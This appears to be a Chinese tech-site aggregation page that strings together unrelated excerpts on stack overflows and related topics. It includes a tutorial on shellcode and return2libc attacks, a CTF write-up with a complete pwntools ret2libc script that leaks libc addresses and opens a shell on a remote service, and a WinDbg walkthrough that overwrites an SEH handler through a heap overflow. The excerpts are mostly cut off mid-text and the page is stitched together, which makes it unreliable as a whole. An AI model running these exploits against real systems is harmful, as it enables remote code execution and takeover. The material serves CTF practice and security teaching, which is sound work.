精华内容
下载资源
问答
  • 让栈溢出

    2012-11-02 16:20:00
    最近听说了一个面试问题是如何让栈溢出。以破坏为目的,O(∩_∩)O哈哈~,感觉相当有意思。 个人第一反应就是:上溢还是下溢?现Demo上下溢的方法。如果你对此问题还有其他看法或了解本问题的其他材料,欢迎告知。 ...

    最近听说了一个面试问题是如何让栈溢出。以破坏为目的,O(∩_∩)O哈哈~,感觉相当有意思。

    个人第一反应就是:上溢还是下溢?现Demo上下溢的方法。如果你对此问题还有其他看法或了解本问题的其他材料,欢迎告知。

    1)上溢:stack over flow。

    无终止递归。一直走,到世界的尽头。栈帧耗尽。

    2)下溢:缓冲区溢出。通常用来覆盖返回地址,精确的计算可以改变程序流程。

    转载于:https://www.cnblogs.com/jiejue/archive/2012/11/02/2751453.html

    展开全文
  • 我用递归大概试了一下,大概在4100多一点的时候,会溢出,可是用try 和catch 方法如何才能找到f(i)中的i 到底是多少呢?求代码。。。
  • 在介绍如何实现溢出攻击之前,我们先简单温习一下函数调用的相关知识。 函数调用是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“”是因为发生函数...

    https://zhuanlan.zhihu.com/p/25816426

    0x20 背景知识

    在介绍如何实现溢出攻击之前,让我们先简单温习一下函数调用栈的相关知识。

    函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。


    Fig 2. 函数调用发生和结束时调用栈的变化

    函数状态主要涉及三个寄存器--esp,ebp,eip。esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

    下面让我们来看看发生函数调用时,栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。

    首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

    Fig 3. 将被调用函数的参数压入栈内

    然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的 eip(指令)信息得以保存。

    Fig 4. 将被调用函数的返回地址压入栈内

    再将当前的ebp 寄存器的值(也就是调用函数的基地址)压入栈内,并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的 ebp(基地址)信息得以保存。同时,ebp 被更新为被调用函数(callee)的基地址。

    Fig 5. 将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内

    再之后是将被调用函数(callee)的局部变量等数据压入栈内。

    Fig 6. 将被调用函数的局部变量压入栈内

    在压栈的过程中,esp 寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到 eip 寄存器内,这样程序就可以依次执行被调用函数的指令了。

    看过了函数调用发生时的情况,就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态。

    首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址。

    Fig 7. 将被调用函数的局部变量弹出栈外

    然后将基地址内存储的调用函数(caller)的基地址从栈内弹出,并存到 ebp 寄存器内。这样调用函数(caller)的 ebp(基地址)信息得以恢复。此时栈顶会指向返回地址。

    Fig 8. 将调用函数(caller)的基地址(ebp)弹出栈外,并存到 ebp 寄存器内

    再将返回地址从栈内弹出,并存到 eip 寄存器内。这样调用函数(caller)的 eip(指令)信息得以恢复。

    Fig 9. 将被调用函数的返回地址弹出栈外,并存到 eip 寄存器内

    至此调用函数(caller)的函数状态就全部恢复了,之后就是继续执行调用函数的指令了。

    0x30 技术清单

    介绍完背景知识,就可以继续回归栈溢出攻击的主题了。当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip(还记得 eip 的用途吗?),所以我们的目标就是让 eip 载入攻击指令的地址。

    先来看看函数调用结束时,如果要让 eip 指向攻击指令,需要哪些准备?首先,在退栈过程中,返回地址会被传给 eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,也可以在内存其他位置寻找可用的攻击指令。

    Fig 10. 核心目的是用攻击指令的地址来覆盖返回地址

    再来看看函数调用发生时,如果要让 eip 指向攻击指令,需要哪些准备?这时,eip 会指向原程序中某个指定的函数,我们没法通过改写返回地址来控制了,不过我们可以“偷梁换柱”--将原本指定的函数在调用时替换为其他函数。

    所以这篇文章会覆盖到的技术大概可以总结为(括号内英文是所用技术的简称):

    • 修改返回地址,让其指向溢出数据中的一段指令(shellcode
    • 修改返回地址,让其指向内存中已有的某个函数(return2libc
    • 修改返回地址,让其指向内存中已有的一段指令(ROP
    • 修改某个被调用函数的地址,让其指向另一个函数(hijack GOT

    本篇文章会覆盖前两项技术,后两项会在下篇继续介绍。(所以请点击“关注专栏”持续关注我们吧 ^_^ )

    0x40 Shellcode

    --修改返回地址,让其指向溢出数据中的一段指令

    根据上面副标题的说明,要完成的任务包括:在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。shellcode 可以用汇编语言来写再转成对应的机器码,也可以上网搜索直接复制粘贴,这里就不再赘述。下面我们先写出溢出数据的组成,再确定对应的各部分填充进去。

    payload : padding1 + address of shellcode + padding2 + shellcode

    Fig 11. shellcode 所用溢出数据的构造

    padding1 处的数据可以随意填充(注意如果利用字符串程序输入溢出数据不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode 起始处的地址,用来覆盖返回地址。padding2 处的数据也可以随意填充,长度可以任意。shellcode 应该为十六进制的机器码格式。

    根据上面的构造,我们要解决两个问题。

    1. 返回地址之前的填充数据(padding1)应该多长?

    我们可以用调试工具(例如 gdb)查看汇编代码来确定这个距离,也可以在运行程序时用不断增加输入长度的方法来试探(如果返回地址被无效地址例如“AAAA”覆盖,程序会终止并报错)。

    2. shellcode起始地址应该是多少?

    我们可以在调试工具里查看返回地址的位置(可以查看 ebp 的内容然后再加4(32位机),参见前面关于函数状态的解释),可是在调试工具里的这个地址和正常运行时并不一致,这是运行时环境变量等因素有所不同造成的。所以这种情况下我们只能得到大致但不确切的 shellcode 起始地址,解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No Operation),也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处,所以这种方法被称为 NOP Sled(中文含义是“滑雪橇”)。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。

    操作系统可以将函数调用栈的起始地址设为随机化(这种技术被称为内存布局随机化,即Address Space Layout Randomization (ASLR) ),这样程序每次运行时函数返回地址会随机变化。反之如果操作系统关闭了上述的随机化(这是技术可以生效的前提),那么程序每次运行时函数返回地址会是相同的,这样我们可以通过输入无效的溢出数据来生成core文件,再通过调试工具在core文件中找到返回地址的位置,从而确定 shellcode 的起始地址。

    解决完上述问题,我们就可以拼接出最终的溢出数据,输入至程序来执行 shellcode 了。

    Fig 12. shellcode 所用溢出数据的最终构造

    看起来并不复杂对吧?但这种方法生效的一个前提是在函数调用栈上的数据(shellcode)要有可执行的权限(另一个前提是上面提到的关闭内存布局随机化)。很多时候操作系统会关闭函数调用栈的可执行权限,这样 shellcode 的方法就失效了,不过我们还可以尝试使用内存里已有的指令或函数,毕竟这些部分本来就是可执行的,所以不会受上述执行权限的限制。这就包括 return2libc 和 ROP 两种方法。

    0x50 Return2libc

    --修改返回地址,让其指向内存中已有的某个函数

    根据上面副标题的说明,要完成的任务包括:在内存中确定某个函数的地址,并用其覆盖掉返回地址。由于 libc 动态链接库中的函数被广泛使用,所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数(例如 system() 等),所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数,比如调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ,所以溢出数据也要包括必要的参数。下面就以执行 system(“/bin/sh”) 为例,先写出溢出数据的组成,再确定对应的各部分填充进去。

    payload: padding1 + address of system() + padding2 + address of “/bin/sh”

    Fig 13. return2libc 所用溢出数据的构造

    padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of system() 是 system() 在内存中的地址,用来覆盖返回地址。padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。

    根据上面的构造,我们要解决个问题。

    1. 返回地址之前的填充数据(padding1)应该多长?

    解决方法和 shellcode 中提到的答案一样。

    2. system() 函数地址应该是多少?

    要回答这个问题,就要看看程序是如何调用动态链接库中的函数的。当函数被动态链接至程序中,程序在运行时首先确定动态链接库在内存的起始地址,再加上函数在动态库中的相对偏移量,最终得到函数在内存的绝对地址。说到确定动态库的内存地址,就要回顾一下 shellcode 中提到的内存布局随机化(ASLR),这项技术也会将动态库加载的起始地址做随机化处理。所以,如果操作系统打开了 ASLR,程序每次运行时动态库的起始地址都会变化,也就无从确定库内函数的绝对地址。在 ASLR 被关闭的前提下,我们可以通过调试工具在运行程序过程中直接查看 system() 的地址,也可以查看动态库在内存的起始地址,再在动态库内查看函数的相对偏移位置,通过计算得到函数的绝对地址。

    最后,“/bin/sh” 的地址在哪里?

    可以在动态库里搜索这个字符串,如果存在,就可以按照动态库起始地址+相对偏移来确定其绝对地址。如果在动态库里找不到,可以将这个字符串加到环境变量里,再通过 getenv() 等函数来确定地址。

    解决完上述问题,我们就可以拼接出溢出数据,输入至程序来通过 system() 打开 shell 了。

    0x60 半途小结

    小结一下,本篇文章介绍了栈溢出的原理和两种执行方法,两种方法都是通过覆盖返回地址来执行输入的指令片段(shellcode)或者动态库中的函数(return2libc)。需要指出的是,这两种方法都需要操作系统关闭内存布局随机化(ASLR),而且 shellcode 还需要程序调用栈有可执行权限。下篇会继续介绍另外两种执行方法,其中有可以绕过内存布局随机化(ASLR)的方法,敬请关注。

    0x70 号外

    给大家推荐几个可以练习安全技术的网站:

    Pwnhub ( pwnhub | Beta ):长亭出品,题目丰富,积分排名机制,还可以兑换奖品,快来一起玩耍吧!

    Pwnable.kr ( pwnable.kr ):有不同难度的题目,内容涵盖多个领域,界面很可爱

    Pwnable.tw( Pwnable.tw ):由台湾CTF爱好者组织的练习平台,质量较高

    Exploit Exercises ( exploit-exercises.com ):有比较完善的题目难度分级,还有虚拟机镜像供下载

    展开全文
  • 开始前的例行叨叨:这大概是最简单的pwn题了吧,直接溢出的。主要是记录下write函数泄露动态地址的姿势,还有程序执行完一次就退出了,如何溢出的末尾它重执行,以及从lic中提取地址的姿势。...

    开始前的例行叨叨:

    这大概是最简单的pwn题了吧,直接溢出的。主要是记录下write函数泄露动态地址的姿势,还有程序执行完一次就退出了,如何在溢出的末尾让它重执行,以及从lic中提取地址的姿势。



    先放题目(侵删):

    https://github.com/staticStr/ForCTF/blob/master/rop.zip?raw=true

    压缩包里给了题目和lib32



    拿出令人沉迷的ida看看源码:

    不能更简单了,就一个read函数,能往buf里写0x100,而buf位置是bp-88存在溢出,可以覆盖。


    步骤1:

    在kali32位里gdb调试,输入个200长度的测试字符看看报错地址。

    生成测试字符,并输入到gdb调试的程序里:



    现在我们得到了padding长度是140



    步骤2:

    从Libc中找system地址

    正常操作:libc = ELF('libc32') 即可 但不知道为啥居然报错了。

    我们用ida分析libc32文件,找出函数地址。


    看到了system的偏移地址

    offset: 0x3A940



    步骤3:

    找/bin/sh地址

    只需要知道字符串/bin/sh在哪就行了,在ida里是找不到的。

    之前年少无知不懂爱,硬是泄露了俩函数地址,去在线查询libc才查出来/bin/sh的地址。

    其实只要winhex里搜一下libc32文件就好了!!!

    /bin/sh所在的行开头是0x159020其中的/字符在这行的第B个

    所以/bin/sh的地址是: 0x15902B



    步骤4:

    找漏洞函数本身的地址,作为rop链的第二项。

    ida中直接看


    漏洞函数地址是:0x8048474



    步骤5:

    同样方法从ida中获取main函数地址:0x80484c6

    之所以需要main函数地址,是因为getshell的时候需要两次溢出。

    第一次:获取write函数的真实地址,再减去偏移,得到libc地址。

    第二次:计算出真实的system地址和bin_sh地址,进行getshell

    但程序执行完后就退出了,再次重启程序会使地址改变。

    所以要在第一次pwn完后,让程序再执行一次main函数,进行第二次pwn。



    步骤6:

    直接写脚本了。

    先泄露write函数真实地址,构造rop链为:

    第一项:padding

    第二项:write函数的plt地址

    第三项(write函数参数1):数字1,write函数第一个参数

    第四项(write函数参数2 输出的内容):write函数的got地址

    第五项(write函数参数3 输出的长度):数字4,表示输出4个字节的地址

    第六项: main函数的地址,为了让write函数输出结束后,再执行一遍main函数,进行第二波溢出。

    所以这段代码应该这样写:

    from pwn import *
    elf = ELF('rop')
    plt_write=elf.plt['write']
    got_write=elf.got['write']
    rop1 = 'R'*140+p32(plt_write)+p32(0x80484c6)+p32(1)+p32(got_write)+p32(4)+p32(0x80484c6)
    
    p=remote('202.1.4.12',40001)
    p.sendline(rop1)
    write_real = u32(p.recv())


    得到write函数的真实地址后,开始计算Libc地址和system函数地址:

    libc地址 = write函数真实地址 - write函数的offset

    (write函数的offset用步骤2的方法去libc里找,偏移是:0xd43c0)

    system真实地址 = libc地址 + system函数offset

    bin_sh真实地址  = libc地址 + /bin/sh偏移地址offset

    所以计算函数应该这样写:

    write_offset = 0xd43c0
    libc_addr = write_real - write_offset
    system_addr = libc_addr + 0x3a940
    binsh_addr = libc_addr + 0x15902b


    需要的都有了,开始构造getshell的rop链

    第一项:140长度的padding

    第二项:system函数真实地址

    第三项:/bin/sh的真实地址

    rop3 = 'R' * 140 + p32(system_addr) + p32(0x80484c6) + p32(binsh_addr)
    p.sendline(rop3)
    p.interactive()


    即可getshell!!!

    贴个完整代码:

    from pwn import *
    elf = ELF('rop')
    plt_write=elf.plt['write']
    got_write=elf.got['write']
    rop1 = 'R' * 140 + p32(plt_write) + p32(0x80484c6) + p32(1) + p32(got_write) + p32(4) + p32(0x80484c6)
    p=remote('202.1.4.12',40001)
    p.sendline(rop1)
    write_real = u32(p.recv())
    print hex(write_real)
    write_offset = 0xd43c0
    libc_addr = write_real - write_offset
    system_addr = libc_addr + 0x3a940
    binsh_addr = libc_addr + 0x15902b
    
    rop3 = 'R' * 140 + p32(system_addr) + p32(0x80484c6) + p32(binsh_addr)
    p.sendline(rop3)
    p.interactive()



    展开全文
  • 我需要递归一个文件夹下...请问我改如何修改才能程序在flielist大小每当10000执行一次,然后在将其清空,继续执行,不至于filelist太大从而解决内存溢出问题。本人线程比较菜,求大神帮忙。最好能在此代码上修改。
  • 溢出(DwordShoot)利用SEH异常处理

    千次阅读 2016-11-25 00:20:13
    异常处理的身影处处可见,最常见的处理方式就是当异常发生时,在异常处理模块中记录日志,便于程序员事后定位... SEH溢出有多种方式:栈溢出和堆溢出。本文关注堆溢出后如何利用SEH。堆溢出的步骤和前文一样:从FreeList
        异常处理的身影处处可见,最常见的处理方式就是当异常发生时,在异常处理模块中记录日志,便于程序员事后定位。但是,被异常处理包含的代码真的会在异常发生时让程序优雅的退出吗?在程序的世界里什么都可能发生,所以,可以说前面那个问题的答案是否定的。这正是本文的主题:利用SEH异常处理。

        SEH溢出有多种方式:栈溢出和堆溢出。本文关注堆溢出后如何利用SEH。堆溢出的步骤和前文一样:从FreeList[n]中获取即将被HeapAlloc函数分配出去的空闲块的地址。然后修改该块块首_FREE_HEAP_ENTRY!_LIST_ENTRY结构中的前后指针的值,达到修改内存地址的目的。对于本文,_LIST_ENTRY!Flink将被设置为最近进入异常处理块时插入在异常链表中异常处理块的地址,而_LIST_ENTRY!Blink设置为shellcode的地址;调用HeapAlloc函数后,异常处理块的地址被指向为shellcode,之后在异常处理块中触发异常。使得shellcode得以执行。

    以下是实例代码:

    #include <windows.h>
    #include <stdio.h>
    //shellcode用0xcc软件中断做结尾,引起异常这样方便验证shellcode是否成功执行
    char shellcode[] = {"\x90\x90\xeb\x04\x90\x90\x90\x90" \
    					"\x90\x90\x90\x90\x90\x90\x90\xcc"};
    
    int main()
    {
    
    	HANDLE hp = HeapCreate(0,0x10000,0x100000);
    	LPVOID h1,h2,h3,h4,h5,h6,h7=0;
    	int i=0,j=0;
    	
    	printf("shellcode:%08x\n",shellcode);
    	
    	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	
    	_asm int 3;
    	__try
    	{
                    //1)处
    		HeapFree(hp,0,h1);
    		HeapFree(hp,0,h3);
    		HeapFree(hp,0,h5);
    		
    		h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    		//2)处
    		i/=j;
    	}
    	__except(1)
    	{
    		printf("exception handled\n");
    	}
    	
    	return 0;
    }
        我们的目标是在执行h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);语句时将异常处理块的地址修改为shellcode的地址。之后触发除零异常时跳到shellcode中执行代码,而不是执行printf("exception handled\n");往屏幕输出字符串。双击运行程序,用int 3断点异常唤出windbg调试程序,接着开始开始利用SEH之旅~

    进入__try/__except块后查看当前线程的异常处理链表和栈顶位置:

    0:000> !exchain ;windbg查看线程异常处理链表的命令
    0012ff70: sehDwordShoot+121c (0040121c)
    0012ffb0: sehDwordShoot+121c (0040121c)
    0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
      CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)
                    func:   kernel32!BaseProcessStart+3a (77e85179)
    Invalid exception stack at ffffffff
    
    0:000> r esp
    esp=0012ff28
    异常处理链中的节点存放在栈中,每个节点的类型为:

    0:000> dt _EXCEPTION_REGISTRATION_RECORD
    ntdll!_EXCEPTION_REGISTRATION_RECORD
       +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
       +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION ;此处存放的是异常处理函数的地址

    离栈顶最近的节点一定是最近依次进入__try/__except块的代码。当前程序栈顶esp=0012ff28,离它最近的异常处理节点位于0012ff70--这就是程序运行到1)处时,在栈中建立的异常处理结点。
    顺带看下它的异常处理函数的地址:

    0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ff70
    ntdll!_EXCEPTION_REGISTRATION_RECORD
       +0x000 Next             : 0x0012ffb0 _EXCEPTION_REGISTRATION_RECORD
       +0x004 Handler          : 0x0040121c     _EXCEPTION_DISPOSITION  +0
    虚拟地址0x40121C就是异常处理函数的地址,对于c/c++的程序这个函数对应于__except_handler3。这不是我瞎吹,可以结合程序的Map文件分析得到~

    1.模块加载在00400000
    0:000> lm
    start    end        module name
    00400000 00408000   sehDwordShoot C (no symbols) 


    2.模块的代码段偏移OVA:0x1000,通过模块在内存中的PE信息得到
    0:000> !dh 00400000 
    SECTION HEADER #1 ;只显示和代码段相关的节表
       .text name
        3C36 virtual size
        1000 virtual address ;代码段相对于模块的偏移
        4000 size of raw data
        1000 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             (no align specified)
             Execute Read

    3.map文件显示距离代码段偏移0x21c处的符号
    0001:0000021c       __except_handler3          0040121c f   LIBC:exsup3.obj
    把三者结合起来:0x400000(模块基质)+0x1000(代码段在模块中的偏移)+0x021c符号在代码段中的偏移=0x0040121c,这个地址对应的符号:__except_handler3-->这不就是异常链表中的异常处理节点吗?vs生成的程序异常处理函数统一为__except_handler3,异常发生时由系统调用__except_handler3,由它调用我们编码在__except(){}中的异常处理代码,相当于开篇提到过的记录异常日志。

    扯开了一点,继续我们的主题。当程序执行完3次HeapFree后空闲链表FreeList[2]中已有3个空闲项:

    0:000> dt _HEAP 510000
    ntdll!_HEAP
    +0x178 FreeLists        : [128] _LIST_ENTRY [ 0x5106e8 - 0x5106e8 ]
    
    0:000> dd 510178+4*4 L2 ;_LIST_ENTRY类型的空闲链表数组元素FreeList[2]的元素
    00510188  00510688 005106c8
    
    0:000> dt _LIST_ENTRY 00510188 ;链表头
    ntdll!_LIST_ENTRY
     [ 0x510688 - 0x5106c8 ]
       +0x000 Flink            : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
       +0x004 Blink            : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
    0:000> dt _LIST_ENTRY 00510688
    ntdll!_LIST_ENTRY
     [ 0x5106a8 - 0x510188 ]
       +0x000 Flink            : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]
       +0x004 Blink            : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
    0:000> dt _LIST_ENTRY 005106a8
    ntdll!_LIST_ENTRY
     [ 0x5106c8 - 0x510688 ]
       +0x000 Flink            : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
       +0x004 Blink            : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
    0:000> dt _LIST_ENTRY 005106c8 ;最后一次调用HeapFree时插入的空闲堆块
    ntdll!_LIST_ENTRY
     [ 0x510188 - 0x5106a8 ]
       +0x000 Flink            : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
       +0x004 Blink            : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]
    从windbg的结果看出,当前空闲链表FreeList[2]的形成过程如图所示:


    画个图果然直观形象很多~当执行HeapAlloc时将移除0x5106c8,并修改0x5106a8->Flink的值为FreeList[n],巧了就是0x5106a8正好是0x5106c8->Blink指向,同时FreeList[n]由0x5106c8->Flink指向。这段话改用C语言描述就是0x5106c8->Blink->Flink=0x5106c8->Flink ,0x5106c8->Blink是修改的目标,0x5106c8->Flink是源。因此,我们修改0x5106c8处的_LIST_ENTRY结构内容即可。要修改的是0x12ff74处异常处理函数,将它修改为0x406030处shellcode的地址,带入上面标红处的公式0x5106c8->Blink处填入0x12ff74;而0x5106c8->Flink处填0x406030

    0:000> ed 5106cc 12ff74
    0:000> ed 5106c8 406030
    
    这里直接修改内存是为了模拟一次堆溢出,尽管我可以直接用memcpy代替。为了让异常分发执行到shellcode时能及时停下,需要给shellcode下访问断点:

    0:000> ba e1 406030;g
    紧接着,触发除0异常并顺利触发访存断点

    SehDwordShoot+0x10b9:
    004010b9 f7f9            idiv    eax,ecx
    0:000> g
    (44c.204): Integer divide-by-zero - code c0000094 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=77f51597 ecx=00000000 edx=00000000 esi=00510000 edi=77f516f8
    eip=004010b9 esp=0012ff34 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
    SehDwordShoot+0x10b9:
    004010b9 f7f9            idiv    eax,ecx



    同时,我们看看线程异常链表:

    0:000> !exchain
    0012fb84: ntdll!ExecuteHandler2+3a (77f833b4)
    0012ff70: SehDwordShoot+6030 (00406030) ;<-------成功被修改到shellcode的地址
    0012ffb0: SehDwordShoot+121c (0040121c)
    0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
      CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)
                    func:   kernel32!BaseProcessStart+3a (77e85179)
    Invalid exception stack at ffffffff

    本次堆溢出利用SEH异常处理结束~


    后记:

    大家有没有注意到我shellcode构造时有点特别?

    shellcode中的第二个DWORD会在HeapAlloc时被改写(这是执行0x5106c8->Flink->Blink=0x5106c8->Blink的副作用),这个改写常常会引发shellcode执行失败。然而,0Day安全一书没有提到解决的方法。我调试多次后发现,只要让shellcode中第二个DWORD作为buff供HeapAlloc修改,不去执行其中的内容即可。如何不执行其中的代码?当然是在shellcode的第一个DWORD中设置一段jmp语句,将执行流强制跳转到第二个DWORD之后即可~第一个DWORD中的opcode翻译成汇编就是:

    nop

    nop

    jmp 0x04










    展开全文
  • 缓冲区溢出笔记(2006年6月12日)

    千次阅读 2006-06-12 12:21:00
    第二章 栈溢出 前一章我们简要的介绍了内存的组织管理,内存是如何加载一个程序并运行的,如何会引发栈溢出以及栈溢出能够产生什么样的危害。 这就读者明白了我们为什么要把关注的重心放到栈溢出的研究分析上来...
  • 章节预习问答

    2017-11-03 10:19:19
    1.两的共享空间是如何实现的   如果我们有两个相同类型的,我们为他们各自开辟了数组空间,极有可能第一个已经满了,再进栈就溢出了,而另一个还有很多存储空间空闲。这时,我们完全可以用一个数组两...
  • [PWN][基础篇]保护函数和溢出实例

    千次阅读 2021-03-19 15:23:18
    栈溢出保护是一种缓冲区溢攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来shellcode能够得到执行,当启动栈保护后,函数开始执行的时候会显往栈里插入cookie的信息,当函数真正...
  • 文章目录OOMOOM是如何产生的JVM进程怎么执行你写的那些代码Java虚拟机线程执行各种方法堆内存:放我们创建的各种对象小结 OOM 先不考虑自己系统外部依赖的缓存、消息队列、数据库等等东西挂掉,就我们自己...
  • (先打开一个程序在计算机中到底是如何运行的.html) 2. 虚拟内存到底是什么?为什么我们在C语言中看到的地址是假的?...栈溢出又是怎么回事? 12. 一个函数在栈上到底是怎样的? 13. 函数调用惯例(Calling Convention)
  • 在使用react的过程中经常会遇到这种问题,错误原因是“栈溢出”, 我是在componetWillUpdate生命周期中使用了nextProps和nextState,并未做循环处理,所以导致状态不停的被改变。 解决方法,在这里加一个锁,在...
  • python中递归函数的使用:def division(n): print(n) ... return division(int(n/2))#递归特性而:每次递归都是为了问题规模变小division(10)#递归特性三:递归层次过多会导致栈溢出,且效率不高
  • 递归的缺点,如何解决

    万次阅读 2011-09-18 15:42:53
    如何解决递归调用的空间不足 推荐答案 这个跟C++关系不是太大,跟系统和开发环境有关. 并且这个的大小,也是可以调节的 做好不要在函数内部定义很大的数组. 也不能程序出现无限递
  • JVM面试题 字节码相关 知道字节码吗?字节码都有哪些? JMM内存模型 说说JVM的主要组成部分以及作用?...jvm内存模型,内存屏障 对象一定分配在堆栈对象不一定分配在堆上,JIT可以实现栈上...栈溢出的情形(递归,调节-Xs
  • 代码在内存中是如何存储的1、栈区1)栈溢出2、堆区3、全局数据区4、常量区5 、代码区 一. 计算机怎样识别代码的 现在大家编程中使用的都是高级语言,比如编译型c++,c等 脚本型语言JS,PHP,并且大家使用的都是集成...
  • 面先说一下环境,比如现在...开始我以为会出现栈溢出。但是我迷惑的是,居然没问题。只是其中一个类的 实例变量会是NULL。下面看代码。 Java代码 public class A { private static A a = new A(); ...
  • 代码在内存中是如何存储的1、栈区1)栈溢出2、堆区3、全局数据区4、常量区5 、代码区一. 计算机怎样识别代码的现在大家编程中使用的都是高级语言,比如编译型c++,c等脚本型语言JS,PHP,并且大家使用的都是集成开发...
  • ASLR技术是一种针对缓冲区溢出的安全保护技术,通过对堆、、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术,从iOS4.3开始...
  • Maximum call stack size exceeded这个错误,看得出是说调用栈溢出,一般来说自己的代码不至于调用栈溢出吧,所以这个错误往往是因为循环调用而导致的一种调用循环。 即 A的执行调用了B,而B的执行又调用了A,或者...
  • 腾讯二面问题

    2019-05-21 18:05:13
    很懵的情况下接到电话,直到面试结束才发现是腾讯二...如何让它的第n位变为相反的比特位? 堆和栈的区别是什么? 栈溢出的情况? 递归到什么程度发生栈溢出的? 构造函数作用是什么? C++可以多继承吗? TCP四...
  • 预备条件:经典的基于溢出VM 配置:Ubuntu 12.04 (x86)这篇文章中,我们看看如何使用爆破技巧,来绕过共享库地址随机化。 什么是爆破? 在这个技巧中,攻击者选择特定的 Libc 机制,并持续攻击程序直到成功。...
  • VM 配置:Ubuntu 12.04 (x86)在这篇文章中,我们看看如何使用 GOT 覆盖和解引用技巧。来绕过共享库地址随机化。我们在第一部分中提到过,即使可执行文件没有所需的 PLT 桩代码,攻击者也可以使用 GOT 覆盖和解引用...
  • 答:会造成栈溢出,需要注意的是即使递归函数不传参也会导致栈的溢出。 原理:因为函数递归时,栈里保存了上一次递归的函数的状态,不仅仅是参数或者局部变量,哪怕没有参数或局部变量也会溢出。因为栈里至少保存...
  • 奇安信面试2019/11/23

    千次阅读 2019-12-16 22:32:23
